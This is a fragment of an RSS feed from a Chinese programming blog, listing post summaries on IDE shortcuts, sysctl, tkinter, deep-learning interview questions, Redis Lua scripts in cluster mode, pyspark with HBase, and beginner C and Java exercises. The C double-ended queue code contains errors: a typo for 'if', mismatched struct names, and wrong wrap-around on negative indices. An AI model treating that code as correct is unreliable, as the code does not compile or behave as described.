      <description> 快捷键 IDLE的快捷键 Ctrl+N:在IDLE交互界面下，用来启动IDLE编辑器 Ctrl+Q:退出IDLE Shell 或 IDLE编辑器 Alt+3:在IDLE编辑器内，注释选定区域文本 Alt+4:在IDLE编辑器内，解除注释选定区域文本 Alt+Q:在IDLE编辑器内，将python代码进行格式化布局 F5:在IDLE编辑器内，执行python程序 pycharm的快捷键 Ctrl+Alt+T:surround with（代码前后添加if：，try…except…等） Ctrl+Shift+Delete:Remove（删除代码周围的语句） Ctrl+/:Comment（注释）再按一次取消注释 Ctrl+Alt+L:Reformat code（调整及规范代码） Ctrl+Alt+o:Optimize imports（优化导入的模块） Ctrl+Shift+向上箭头:Move statement up Ctrl+Shift+向下箭头:Move statement Down Alt+Shift+向上箭头:Move line up Alt+Shift+向下箭头:Move line Down Shift+enter : （任意位置换行） Tab/Shift+Tab ：（缩进/取消缩进） Ctrl+D ：(复制当前行) Ctrl+Q ：（快速查看文档） Ctrl+左键 ：(简介及代码定义) 双击Shift : （万能搜索，快速查找） Ctrl+Y : （删除选定的行） ToDo注释:#ToDo(作者):描述 jupyter notebook的快捷键 Tab : 代码补全或缩进 Shift+Tab : 提示 Ctrl+] : 缩进 Ctrl+[ : 解除缩进 Ctrl+Home : 跳到单元开头 Ctrl+Up : 跳到单元开头 Ctrl+End : 跳到单元末尾 Ctrl+Down : 跳到单元末尾 Ctrl+Left : 跳到左边一个字首 Ctrl+Right : 跳到右边一个字首 Win10快捷键 Win+Tab：时间轴，查看任务视图（也可以触控板三指向上划） Win+D/Win+M:显示桌面（也可以触控板三指往下划） Win+E:打开文件资源管理器 Win+L:锁屏，睡眠 Win+I:打开设置 Win+R:打开运行窗口 Win+S:打开搜索 Ctrl+p:快捷打印 Ctrl+Alt+Del:打开任务管理器菜单 Alt+Tab:任务切换 Ctrl+Win+D:创建虚拟桌面 Win+Ctrl:切换桌面 </description>
    </item>
    <item>
      <title>petalinux 配置失败 ：ERROR: Failed to menu config project component</title>
      <link>https://bchobby.github.io/posts/ced4571ad0d69ad1f671ce0daf53568a/</link>
      <pubDate>Sun, 29 Mar 2020 21:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ced4571ad0d69ad1f671ce0daf53568a/</guid>
      <description>Ubuntu18.04.2 +petalinux 2019.2&#xA;创建工程OK ，但是get-hw时失败如下：&#xA;网上搜到的解决方法：&#xA;https://blog.csdn.net/xiao_yao_ke/article/details/82353731&#xA;非常感谢网友@oFFCo&#xA;万万没想到居然是ubuntu 界面没放大全屏的原因！</description>
    </item>
    <item>
      <title>查找元素在数组中的索引 17</title>
      <link>https://bchobby.github.io/posts/1d103da58d22d35a193c6ef22faf9e3c/</link>
      <pubDate>Sun, 29 Mar 2020 17:36:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d103da58d22d35a193c6ef22faf9e3c/</guid>
      <description>查找元素在数组中的索引 需求分析 已知一个数组 arr = {19, 28, 37, 46, 50}; 键盘录入一个数据，查找该数据在数组中的索引。并在控制台输出找到的索引值。如果没有查找到，则输出-1&#xA;步骤分析 1、定义一个数组。&#xA;2、接收用户输入一个数据。&#xA;3、定义一个方法接收数组和查询的数据，然后在方法中看是否在数组中存在，存在返回元素的索引值，不存在返回-1。&#xA;4、调用方法传入数组和数据，得到方法的返回结果。&#xA;注意：在方法中需要传进两个数据，一个是数组，一个是键盘录入的数据，不然键盘录入的数据在方法中会显示没有定义。&#xA;public class ExecDemo { public static void main(String[] args) { // 1、定义一个数组。 int[] arr = {19, 28, 37, 37, 46, 50} ; // 2、接收用户输入一个数据。 Scanner sc = new Scanner(System.in); System.out.print(&#34;请输入您要查找的数据：&#34;); int data = sc.nextInt(); // 4、调用方法传入数组和数据，得到方法的返回结果。 int index = getDataIndex(arr , data); System.out.println(index); } // 3.定义一个方法等着该功能 public static int getDataIndex(int[] arr , int data){ // 5.</description>
    </item>
    <item>
      <title>sysctl</title>
      <link>https://bchobby.github.io/posts/a2c883674f3df26f1deb725e477b78de/</link>
      <pubDate>Sat, 28 Mar 2020 22:22:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2c883674f3df26f1deb725e477b78de/</guid>
      <description>sysctl命令用于运行时配置内核参数，这些参数位于/proc/sys/目录，可以使用sysctl修改系统变量，也可以通过编辑/etc/sysctl.conf文件来修改系统变量。&#xA;sysctl (选项) (参数)&#xA;选项&#xA;-n：打印值时不打印关键字；&#xA;-e：忽略未知关键字错误；&#xA;-N：仅打印名称；&#xA;-w：当改变sysctl设置时使用此项；&#xA;-p：从配置文件“/etc/sysctl.conf”加载内核参数设置；&#xA;-a：打印当前所有可用的内核参数变量和值；&#xA;-A：以表格方式打印当前所有可用的内核参数变量和值。&#xA;参数&#xA;变量=值：设置内核参数对应的变量值。sysctl变量的设置通常是字符串、数字或者布尔型。&#xA;临时改变某个系统参数的值，如果系统重启，或执行了 service network restart命令，所设置的值即会丢失。例如想启用IP路由转发功能，&#xA;#echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&#xA;或者&#xA;#sysctl -w net.ipv4.ip_forward=1&#xA;永久保留配置，可以修改/etc/sysctl.conf文件，并重新加载系统参数sysctl -p&#xA;net.ipv4.ip_forward=1</description>
    </item>
    <item>
      <title>tkinter 点击退出执行的程序</title>
      <link>https://bchobby.github.io/posts/c90331f88fbcd8ab1eb9807fdb691a7d/</link>
      <pubDate>Sat, 28 Mar 2020 16:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c90331f88fbcd8ab1eb9807fdb691a7d/</guid>
      <description> 当点击右上角的差号时，程序进行弹框提示 from tkinter import Tk from tkinter import messagebox root = Tk() # 当点击右上角退出时，执行的程序 def on_closing(): if messagebox.askokcancel(&#34;Quit&#34;, &#34;Do you want to quit?&#34;): root.destroy() # WM_DELETE_WINDOW 不能改变，这是捕获命令 root.protocol(&#39;WM_DELETE_WINDOW&#39;, on_closing) root.mainloop() </description>
    </item>
    <item>
      <title>常见的深度学习面试题及解答(一)</title>
      <link>https://bchobby.github.io/posts/7dd3ea8f7e883765b354113ee4d6ce3e/</link>
      <pubDate>Sat, 28 Mar 2020 12:22:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dd3ea8f7e883765b354113ee4d6ce3e/</guid>
      <description>往期回顾 深度学习100问&#xA;精彩系列 常见的深度学习面试题及解答(二)&#xA;常见的深度学习面试题及解答(三)&#xA;1. 在训练过程中,若一个模型不收敛,那么是否说明这个模型无效?导致模型不收敛的原因有哪些? 不能说明这个模型就是无效的，造成模型不收敛的原因有很多，可能经过调整，模型效果很好。&#xA;原因：&#xA;数据分类的标注不准确,样本的信息量太大导致模型不足以fit整个样本空间。学习率设置的太大容易产生震荡,太小会导致不收敛。可能复杂的分类任务用了简单的模型。数据没有进行归一化的操作。 https://blog.csdn.net/weixin_35479108/article/details/96981548&#xA;2. 什么是梯度消失? 神经网络中，当前面隐藏层的学习速率低于后面隐藏层的学习速率，即随着隐藏层数目的增加，分类或识别准确率反而下降了。这种现象叫做消失的梯度问题。&#xA;3. 图像处理中锐化和平滑的操作? 锐化就是通过增强高频分量来减少图像中的模糊,在增强图像边缘的同时也增加了图像的噪声。&#xA;平滑与锐化相反,过滤掉高频分量,减少图像的噪声使图片变得模糊。&#xA;4. Relu比Sigmoid的效果好在哪里? Sigmoid的导数只有在0的附近时有较好的激活性,而在正负饱和区域的梯度趋向于0,从而产生梯度弥散的现象,而relu在大于0的部分梯度为常数,所以不会有梯度弥散现象。Relu的导数计算的更快。Relu在负半区的导数为0,所以神经元激活值为负时,梯度为0,此神经元不参与训练,具有稀疏性。&#xA;5. 请你简要描述一下，VGG使用3*3卷积核的优势是什么? 2个3*3的卷积核串联和5*5的卷积核有相同的感知野,前者拥有更少的参数。多个3*3的卷积核比一个较大尺寸的卷积核有更多层的非线性函数,增加了非线性表达,使判决函数更具有判决性。&#xA;https://www.cnblogs.com/zhangyang520/p/10969960.html&#xA;6. 防止过拟合的方法有哪些？ 重新清洗数据增大数据量采用正则化方法dropout 面试之深度学习中的过拟合问题&#xA;7. 请你简要介绍一下RNN RNN的输出不仅是基于当前的输入，还会基于先前的隐态。RNN与普通神经网络的不同之处在于隐态中有一个循环，这表明是如何利用先前的隐态来计算输出的。由于每个输出的梯度不仅与当前的时间步有关，而且还取决于先前的时间步。因此，将反向传播过程称为基于时间的反向传播。 深度学习之循环神经网络(RNN)&#xA;8. 请你谈一下对于SGD,Momentum,Adagard,Adam原理的认识 (1). SGD： 随机梯度下降，每一次迭代计算数据集的mini-batch的梯度，然后对参数进行更新。&#xA;(2). Momentum： 参考了物理中动量的概念，前几次的梯度也会参与道当前的计算中，但是前几轮的梯度叠加在当前计算中会有一定的衰减。&#xA;(3). Adagard： 在训练过程中可以自动变更学习的速率，设置一个全局的学习率，而实际的学习率与以往的参数模的和的开方成反比。&#xA;(4). Adam： 利用梯度的一阶矩估计和二阶矩估计，动态调整每个参数的学习率，在经过偏置的校正后，每一次迭代后的学习率都有个确定的范围，使得参数比较平稳。&#xA;https://blog.csdn.net/weixin_42338058/article/details/93792205&#xA;9. 请你简要讲一下，当训练集中类别不均衡时，哪个参数最不准确？如何解决？ 当训练集中类别不均衡时，参数 — 准确度(Accuracy) 最不准确。 解析：举例，对于二分类问题来说，正负样例比相差较大为99:1，模型更容易被训练成预测较大占比的类别。因为模型只需要对每个样例按照0.99的概率预测正类，该模型就能达到99%的准确率。&#xA;解决办法：&#xA;扩大数据集尝试其他分类指标： 混淆矩阵、精确度、召回率、F1得分(精确度与召回率的加权平均)对数据集进行重采样尝试不同的分类算法 (决策树往往在类别不均衡数据上表现不错) 10. 请你说一下，哪些神经网络中会发生权重共享？ 卷积神经网络、循环神经网络会发生权重共享&#xA;所谓的权重共享就是说，输入一张图片，这张图片是用一个filter进行卷积操作的时候，图片中的每一个位置都被同一个filter进行卷积，所以权重是一样的，也就是共享。这个是在一个卷积层操作的时候的权重共享，另一个卷积层是利用另一个filter对图片进行扫描，实现权重共享的。&#xA;神经网络中权重共享的理解</description>
    </item>
    <item>
      <title>数列求和-加强版 (20分)（C语言实现）</title>
      <link>https://bchobby.github.io/posts/2c820a86dfe68045020d753f44359acc/</link>
      <pubDate>Fri, 27 Mar 2020 23:24:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c820a86dfe68045020d753f44359acc/</guid>
      <description>数列求和-加强版 (20分) 哈哈这个题太有意思了~~&#xA;给定某数字A（1≤A≤9）以及非负整数N（0≤N≤100000），求数列之和S=A+AA+AAA+⋯+AA⋯A（N个A）。例如A=1, N=3时，S=1+11+111=123。&#xA;输入格式： 输入数字A与非负整数N。&#xA;输出格式： 输出其N项数列之和S的值。&#xA;输入样例： 1 3&#xA;输出样例： 123&#xA;c语言实现代码 #include&amp;lt;stdio.h&amp;gt; int main(){ int num[100002]={0}; int a,n,sum,tp; sum=0; scanf(&#34;%d %d&#34;,&amp;amp;a,&amp;amp;n); if(n==0) printf(&#34;0&#34;); for(int i=0;i&amp;lt;n;i++){ sum=a*(n-i)+sum; num[i]=sum%10; sum=sum/10; } if(sum!=0) printf(&#34;%d&#34;,sum); for(int j=n-1;j&amp;gt;=0;j--) printf(&#34;%d&#34;,num[j]); return 0; } 这个有意思~~</description>
    </item>
    <item>
      <title>图形学之图像信号处理</title>
      <link>https://bchobby.github.io/posts/56e336fac0c5e0cfd28ecb7227675eec/</link>
      <pubDate>Fri, 27 Mar 2020 22:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56e336fac0c5e0cfd28ecb7227675eec/</guid>
      <description>图像信号处理在图形学中有举足轻重的作用，这节博客对图像的采样、滤波和重构进行简要总结。&#xA;一、离散图像滤波 图像中最广泛的应用是使用简单的卷积滤波器。通过与一般的低通滤波器（从盒式滤波器到高斯滤波器）进行卷积，实现对图像的模糊化处理。例如下图中高斯模糊看起来很平滑，被广泛使用。&#xA;二、反走样技术 在图像合成中，对于连续数学公式表示的图像，常常需要产生一幅对应的采样图像（例如：光线追踪）。&#xA;对于连续的二维信号（图像），需要基于规则的二维点阵进行采样，否则容易出现各种走样情况。例如下图效果：&#xA;走样原因是图像中包含很多小尺度特征。在采样之前，需要滤波去掉这些特征。例如：盒式滤波器会改善突变边缘，但是仍会产生莫尔图案；高斯滤波抑制莫尔效果较好，但是会使图像整体偏向模糊。例如下图：&#xA;三、重构与重采样 当对滤波要求较高时，重采样是常见的图像运算之一。重采样就是改变图像大小。&#xA;高像素调整为低像素显示的两种方法：&#xA;看作是删除像素。在留下的像素之间去掉一个或者两个像素。可以实现压缩图像的目的，但是图像质量变低。对图像重采样。首先根据输入样本重构一个连续函数，然后对函数进行采样。为了避免走样，在每一步均要选择合适的滤波器。 例如下图示例，原始图像为\(12 \times 9\)像素，而新图像是\(8 \times 6\)像素。在每一维，输出像素数是输入像素数的 2/3，因此图像上的像素间隔是原始图像的 3/2。&#xA;’空心黑圈‘ 为输入样本点，’实心黑点‘ 为输出样本点。&#xA;为了给每个输出样本赋值，需要计算样本之间的图像值。像素删除方法提供方法：取输入图像中与样本最近的值作为输出值（等价“用一个像素宽的盒式滤波器重构图像，再进行点采样”）。&#xA;重采样包括：重构滤波和采样滤波。因为序列中的两卷积滤波可以用单一的滤波器来代替，因此只需要重采样滤波器（同时起到重构和采样的作用）。</description>
    </item>
    <item>
      <title>海思 强制销毁VB功能</title>
      <link>https://bchobby.github.io/posts/f070ecbf18864a7101fb42da2b50878e/</link>
      <pubDate>Fri, 27 Mar 2020 19:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f070ecbf18864a7101fb42da2b50878e/</guid>
      <description>插入hi35xx_base.ko时加上模块参数vb_force_exit=1，可允许用户在程序退出时不用手&#xA;动销毁VB，而由系统强制销毁VB。&#xA;注意：&#xA;此功能不是规范安全的做法，建议客户还是应该在退出程序时释放已申请的资源，禁&#xA;止在使用时强制销毁资源。</description>
    </item>
    <item>
      <title>asus prime x299大师系列主板安装win10 蓝屏问题的解决方法</title>
      <link>https://bchobby.github.io/posts/7c10e556584a8da17015caf1c2a26d9c/</link>
      <pubDate>Fri, 27 Mar 2020 13:21:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c10e556584a8da17015caf1c2a26d9c/</guid>
      <description>主板型号如上，安装win10，蓝屏，需要去主板bios禁用无线功能，安装好系统后再去开启即可。有其他问题，可以关注下方公众号</description>
    </item>
    <item>
      <title>双端队列的实现——C语言</title>
      <link>https://bchobby.github.io/posts/5614c0e4726920f3eb160b3cf3a69b57/</link>
      <pubDate>Fri, 27 Mar 2020 10:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5614c0e4726920f3eb160b3cf3a69b57/</guid>
      <description>题目要求：&#xA;插入和删除元素只能在同一端进行，队列的插入操作和删除操作分别在两端进行，与它们不同的，有一种双端队列（deque),其插入和删除操作都可以在两端进行。写出4 个时间均为0(1)的过程，分别实现在双端队列的两端插人和删除元素的操作，该队列是用一个数组实现的。&#xA;解题思路：&#xA;利用数组来存储元素，设置两个变量head和tail，分别记录队列头部元素的下标和尾部“将要插入”元素的下标。从尾部入队时，tail+1,如果到了数组最后，则折返到0。从头部出队时，head+1，如果到了数组最后，则折返回0。从尾部出队时，tail-1，如果到了0再减则回到数组最后元素。从头部入队时，head-1，如果到了0再减则回到数组最后元素。&#xA;代码如下：&#xA;#include&amp;lt;stdio.h&amp;gt; struct Deque{ int a[20]; int head;//第一个元素的下标 int tail;//将要插入元素的下标 }; void insert_head(struct Dequeue *q,int n){ if((q-&amp;gt;tail+1)==q-&amp;gt;head){ printf(&#34;Queue has no room!\n&#34;); return; } q-&amp;gt;head = (q-&amp;gt;head-1)%20; q-&amp;gt;a[q-&amp;gt;head] = n; } void insert_tail(struct Dequeue *q,int n){ f((q-&amp;gt;tail+1)==q-&amp;gt;head){ printf(&#34;Queue has no room!\n&#34;); return; } q-&amp;gt;tail = (q-&amp;gt;tail+1)%20; q-&amp;gt;a[q-&amp;gt;tail] = n; } int delete_head(struct Dequeue *q){ if(q-&amp;gt;head == q-&amp;gt;tail){ printf(&#34;Queue has no node!\n&#34;); return -1; } int n = q-&amp;gt;a[q-&amp;gt;head]; q-&amp;gt;head = (q-&amp;gt;head+1)%20; return n; } int delete_tail(struct Dequeue *q){ if(q-&amp;gt;head == q-&amp;gt;tail){ printf(&#34;</description>
    </item>
    <item>
      <title>lua脚本在redis集群中执行报错--Lua script attempted to access a non local key in a cluster node...</title>
      <link>https://bchobby.github.io/posts/70a4786a85ff228507eeefd39796c60a/</link>
      <pubDate>Thu, 26 Mar 2020 19:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70a4786a85ff228507eeefd39796c60a/</guid>
      <description>EVAL、EVALSHA命令 Redis从2.6.0版本开始提供了eval命令，通过内置的Lua解释器，可以让用户执行一段Lua脚本并返回数据。因为Redis单线程模型的特点，可以保证多个命令的原子性(因为最近的项目需要用到简单的分布式锁，所以会用到lua来释放锁)&#xA;脚本性能 Redis保证了脚本执行的原子性，所以在当前脚本没执行完之前，别的命令和脚本都是等待状态，所以一定要控制好脚本中的内容，防止出现需要消耗大量时间的内容(逻辑相对简单)。 带宽优化 为了避免每次执行都重复的将Lua脚本内容发送，Redis提供了evalsha命令，只需要将Lua脚本内容的SHA1校验和发送即可(evalsha 6b1bf486c81ceb7edf3c093f4c48582e38c0e791 0)。Lua脚本中的变量(动态数据)请使用KEYS和ARGV获取，如果把变量放在脚本中，必然会导致每次的脚本内容都不同(SHA1)，Redis缓存大量无用或者一次性的脚本内容。 Redis Cluster 或 阿里云Redis集群版使用注意事项 Redis从3.0开始支持了Cluster功能，之前使用eval的时候可能没什么问题，但当切换成Cluster模式的时候，可能会出现一些问题：&#xA;ERR Error running script (call to f_4a610f5543b3c3450220da7bd47825d3b6bffae8): @user_script:1: @user_script: 1: Lua script attempted to access a non local key in a cluster nodeERR eval/evalsha command keys must be in same slot(阿里云Redis集群版) 上面的错误是因为Redis要求单个Lua脚本操作的key必须在同一个节点上，但是Cluster会将数据自动分布到不同的节点(虚拟的16384个slot，具体看官方文档)，阿里云集群版的官网其实也有对应说明：在Redis集群版实例中，事务、脚本等命令要求所有的key必须在同一个slot中，如果不在同一个slot中将返回以下错误信息(:command keys must in same slot)&#xA;如何解决？&#xA;CLUSTER KEYSLOT key的文档中提供了解决方法，你需要将把key中的一部分使用{}包起来，redis将通过{}中间的内容作为计算slot的key，类似key1{mykey}、key2{mykey}（如果你的key是“REDIS_LOCK_FORPR”，可以讲该key的一部分用{}括起来，例如“REDIS_LOCK_{FORPR}”）这样的都会存放到同一个slot中(缺点是不能平滑的过度老业务，需要修改原来使用的key，如果之前的key是统一管理的，也没那么麻烦)&#xA;官方地址：https://redis.io/commands/cluster-keyslot&#xA;// 部分代码 private static final String DISTRIBUTE_LOCK_SCRIPT_UNLOCK_VAL = &#34;if&#34; + &#34; redis.call(&#39;get&#39;, KEYS[1]) == ARGV[1]&#34;</description>
    </item>
    <item>
      <title>python中，用pyspark读取Hbase数据，并转换为dataframe格式</title>
      <link>https://bchobby.github.io/posts/9d9257280bf4d9252ebfa60d28cece4f/</link>
      <pubDate>Thu, 26 Mar 2020 17:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d9257280bf4d9252ebfa60d28cece4f/</guid>
      <description>需要完成的关键三个点分别是，设置好连接spark的配置，通过spark从hbase中将数据读进来为rdd格式，然后将rdd格式的数据转换成dataframe的格式。&#xA;1、首先需要设置pyspark连接spark的配置，spark连接有sparkcontext和sparksession这两种方式，同时这两种方式之间可以互相转换，连接代码如下：&#xA;（1）通过SparkConf和SparkContext连接&#xA;from pyspark import SparkConf, SparkContext&#xA;spark_host = &#34;spark://spark-master:7077&#34; #spark集群的地址，如果是本地单机版的，设置为local[x]，x为使用的核数，单机版的即为线程数&#xA;app_name = &#34;test&#34;&#xA;# 设置连接配置，这里的1g是设置使用的核数&#xA;spark_conf = SparkConf().setMaster(spark_host).setAppName(app_name).set(&#34;spark.executor.memory&#34;, &#34;1g&#34;)&#xA;spark_context = SparkContext.getOrCreate(conf=spark_conf)&#xA;# sparkContext 也可以通过下面的语句转换成sparkSession对象&#xA;from pyspark.sql import SparkSession&#xA;spark_session = SparkSession(spark_context)&#xA;（2）通过sparkSession连接，个人觉得这种方式更简洁，因为一句话就搞定了，啊哈哈&#xA;from pyspark.sql import SparkSession&#xA;spark_host = &#34;spark://spark-master:7077&#34;&#xA;app_name = &#34;test&#34;&#xA;spark_session = SparkSession.builder.master(spark_host).appName(app_name).getOrCreate()&#xA;2、pyspark读取HBASE的数据，读取完后的数据为RDD格式，代码如下：&#xA;hbase_host = &#34;&#34;&#xA;table_name = &#34;&#34;&#xA;&#34;&#34;&#34;&#xA;（1）pyspark读取hbase的时候可以根据hbase中record的row_key进行筛选，但是这个筛选是连续的一片式的筛选&#xA;（2）hbase的row_key筛选可以通过前缀进行模糊匹配，比如下面的&#39;2019-04-29_&#39;可以取row_key前缀是2019-04-29_的行，设置的stop则是表示以前缀是2019-04-30_的record结束（但是返回结果不包含满足stop前缀的record）&#xA;（3）hbase.mapreduce.scan.columns的设置是选取想要读取的hbase中的基本列以{列簇名:列名}的形式表示一列，不同的列之间用空格隔开&#xA;&#34;&#34;&#34;&#xA;conf = {&#xA;&#34;hbase.zookeeper.quorum&#34;: hbase_host,&#xA;&#34;hbase.mapreduce.inputtable&#34;: table_name,&#xA;&#34;hbase.mapreduce.scan.row.start&#34;: &#39;2019-04-29_&#39;,</description>
    </item>
    <item>
      <title>保存在线阅读的PDF文件到本地（保存只读权限的PDF）</title>
      <link>https://bchobby.github.io/posts/d914834c385816880af0e0f21c865f24/</link>
      <pubDate>Thu, 26 Mar 2020 16:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d914834c385816880af0e0f21c865f24/</guid>
      <description>本文参考自这里：保存在线阅读的PDF文件到本地&#xA;我只补充2张图片，说明一些细节以及使用IE不同的地方如下：</description>
    </item>
    <item>
      <title>新手学习Python使用什么环境好！！！</title>
      <link>https://bchobby.github.io/posts/d95e66a07d9c5ec4586dfa638e4680bf/</link>
      <pubDate>Thu, 26 Mar 2020 16:24:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d95e66a07d9c5ec4586dfa638e4680bf/</guid>
      <description>我是一个创作小白，也是一个编程小白，如果不小心哪位大佬看到我说的有错误或者有不同的见解随时欢迎改正，也随时欢迎批评。&#xA;我学习Python已经有一小段时间，也不算很长，但是刚开始的时候想要学习Python&#xA;然后就要找资料，在找一些好的编译环境，原来学习JAVA还有C++&#xA;和C#的时候发现好的编译环境就是那种有提示有高亮的，这样的东西当你写代码的时候那是相当的放遍。 我就举例几种：&#xA;``&#xA;第一个Pycharm：&#xA;PyCharm 是 JetBrains 开发的 Python IDE。PyCharm用于一般IDE具备的功能，比如， 调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制……另外，PyCharm还提供了一些很好的功能用于Django开发，同时支持Google App Engine，更酷的是，PyCharm支持IronPython&#xA;是不是看到有代码提示就高兴了？我也用过，确实顺手，我先介绍，然后再说其他的！&#xA;第二个Vim：也是一种比较容易上手的Python编写脚本，但是刚开始需要安装一些插件！同样也有自动补全，语法高亮等等好的东西。&#xA;第三个 Atom：Atom是由 GitHub 的程序员们打造的称为“属于21世纪”的代码编辑器。它开源免费跨平台（支持 Windows、Mac、Linux 三大桌面平台），并且整合 GIT 并提供类似 SublimeText 的包管理功能，作为一个现代的代码编辑器，Atom 支持各种编程语言的代码高亮(HTML / CSS / Javascript / PHP / Python / C / C++ / Objective C / Java / JSON / Perl / coffeescript / Go / Sass / YAML / Markdown 等等)、 与大多数其他编辑器相比，Atom的语言支持已经算是覆盖非常全面了。另外，它的代码补全功能（也叫Snippets） 也非常好用，你只需输入几个字符即可展开成各种常用代码，可以极大提高编程效率。这个不用多说都是可以拥有很多好的功能。&#xA;我就介绍以上三种，其实还有很多编译环境可以编写Python的比如：Visual Studio Code（免费开源）、Sublime Text（有免费版）、Eclipse with PyDev（也可以用）等等。</description>
    </item>
    <item>
      <title>PotPlayer打开视频没声音，显示DirectX有问题或者音频禁用怎么办？</title>
      <link>https://bchobby.github.io/posts/541eb9ad28221e383e7f33a81e5e71b9/</link>
      <pubDate>Thu, 26 Mar 2020 12:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/541eb9ad28221e383e7f33a81e5e71b9/</guid>
      <description>打开PotPlayer界面，【右击】，打开【选项】，看到左下角有个【初始化】，然后重新打开PotPlayer就好了。&#xA;如果仍然不行，那就换个音频解码，Lavfilter或者OpenCodec。</description>
    </item>
    <item>
      <title>5.获取终端信息，设置日期和延时</title>
      <link>https://bchobby.github.io/posts/0dcad2ac9471b9ee487247780b2b7a8a/</link>
      <pubDate>Thu, 26 Mar 2020 11:28:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dcad2ac9471b9ee487247780b2b7a8a/</guid>
      <description>获取终端信息 编写shell脚本时，免不了处理大量当前终端的相关信息，如行数、列数等。可以使用tput和stty两个工具进行相关处理&#xA;tput&#xA;1.tput命令将通过terminfo数据库对终端会话进行初始化和操作（terminfo数据库：Unxi系统上用于定义终端和打印机的属性以及功能）&#xA;2.光标属性 文本属性&#xA;tput clear 清屏 0：黑色 5：洋红色&#xA;tput sc 保存当前光标位置 1：蓝色 6：黄色&#xA;tput civis 光标不可见 2：绿色 7：白色&#xA;tput cnorm 光标可见 3：青色&#xA;tput rc 显示输出 4：红色&#xA;技巧1 获取终端的行数和列数&#xA;tput cols or stty size&#xA;tput lines&#xA;技巧2 打印当前终端名&#xA;tput longname&#xA;技巧3 指定移动光标&#xA;tput cup 10 10 将光标移动到（10，10）&#xA;技巧4 设置终端背景色&#xA;tput setb n） n为0~7&#xA;技巧5 设置文本前景色&#xA;tput setf n） n为0~7&#xA;技巧6 设置文本样式为粗体&#xA;tput bold&#xA;技巧7 设置下划线起止&#xA;tput suml</description>
    </item>
    <item>
      <title>学生类定义</title>
      <link>https://bchobby.github.io/posts/e276fa01336102da2b13b4855dc35554/</link>
      <pubDate>Thu, 26 Mar 2020 09:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e276fa01336102da2b13b4855dc35554/</guid>
      <description>**题目描述&#xA;定义学生类，其中包括3个成员变量(String 姓名，String 学号，float 分数)，两个构造方法（一个默认的没有参数的构造方法，另一个为带三个参数姓名学号分数的构造方法用于给成员变量赋值）和show（）方法。show方法用于显示每个学生类对象的成员变量信息。显示的格式为：姓名：XXX，学号：XXXX，分数：XX 分数保留一位小数。&#xA;定义测试类，在main方法中实例化一个学生类对象，学生类对象中的成员通过键盘输入，输入的顺序为姓名 学号 分数，调用构造方法给成员变量初始化，然后调用对象的show方法输出对象信息。&#xA;输入描述&#xA;输入一个对象的信息，按照姓名 学号 成绩&#xA;输出描述&#xA;输出姓名：XXX 学号：XXX 分数：XX&#xA;其中冒号为中文冒号，每项中间一个空格。&#xA;输入样例&#xA;张三 10001 90&#xA;输出样例&#xA;姓名：张三 学号：10001 分数：90.0&#xA;**&#xA;import java.util.*; public class Main { public static void main(String []args) { Scanner input=new Scanner(System.in); String a=input.next(); String b=input.next(); String c=input.next(); Student A=new Student(a,b,c); A.show(); input.close(); } } class Student { private String name;//元 private String num;//角 private String grade;//分 Student(String name,String num,String grade){ this.</description>
    </item>
    <item>
      <title>元角分转换</title>
      <link>https://bchobby.github.io/posts/216283fae2600668c5c0fbb57a37226e/</link>
      <pubDate>Thu, 26 Mar 2020 09:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/216283fae2600668c5c0fbb57a37226e/</guid>
      <description>**题目描述&#xA;定义Money类，其含有三个成员变量：元，角，分。定义两个构造方法，一个构造方法有三个参数分别为：元，角，分；另一个构造方法只有一个参数，表示输入多少分钱，你需要在该构造方法中将分转换为元角分并初始化成员变量元角分。同时定义一个show方法，用于输出成员变量的信息。&#xA;定义测试类，创建一个Money类对象，并通过键盘输入一个整数代表多少分钱，然后调用show方法输出对应的元角分。&#xA;输入描述&#xA;输入一个整数，表示多少分钱&#xA;输出描述&#xA;输出对应的多少元，多少角，多少分&#xA;输入样例&#xA;5&#xA;76&#xA;1012&#xA;输出样例&#xA;5分&#xA;7角6分&#xA;10元1角2分&#xA;**&#xA;import java.util.*; public class Main { public static void main(String []args) { Scanner input=new Scanner(System.in); int a=input.nextInt(); Money A=new Money(a); A.show(); input.close(); } } class Money { private int a;//元 private int b;//角 private int c;//分 Money(int a,int b,int c){ this.a=a; this.b=b; this.c=c; } Money(int m){ a=m/100; b=m/10%10; c=m%10; } void show(){ if(a==0&amp;amp;&amp;amp;b==0){ System.</description>
    </item>
    <item>
      <title>Airtest Project - UI 自动化测试神器</title>
      <link>https://bchobby.github.io/posts/ea3a2396d01752649b295ebb20b6ded6/</link>
      <pubDate>Wed, 25 Mar 2020 21:23:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea3a2396d01752649b295ebb20b6ded6/</guid>
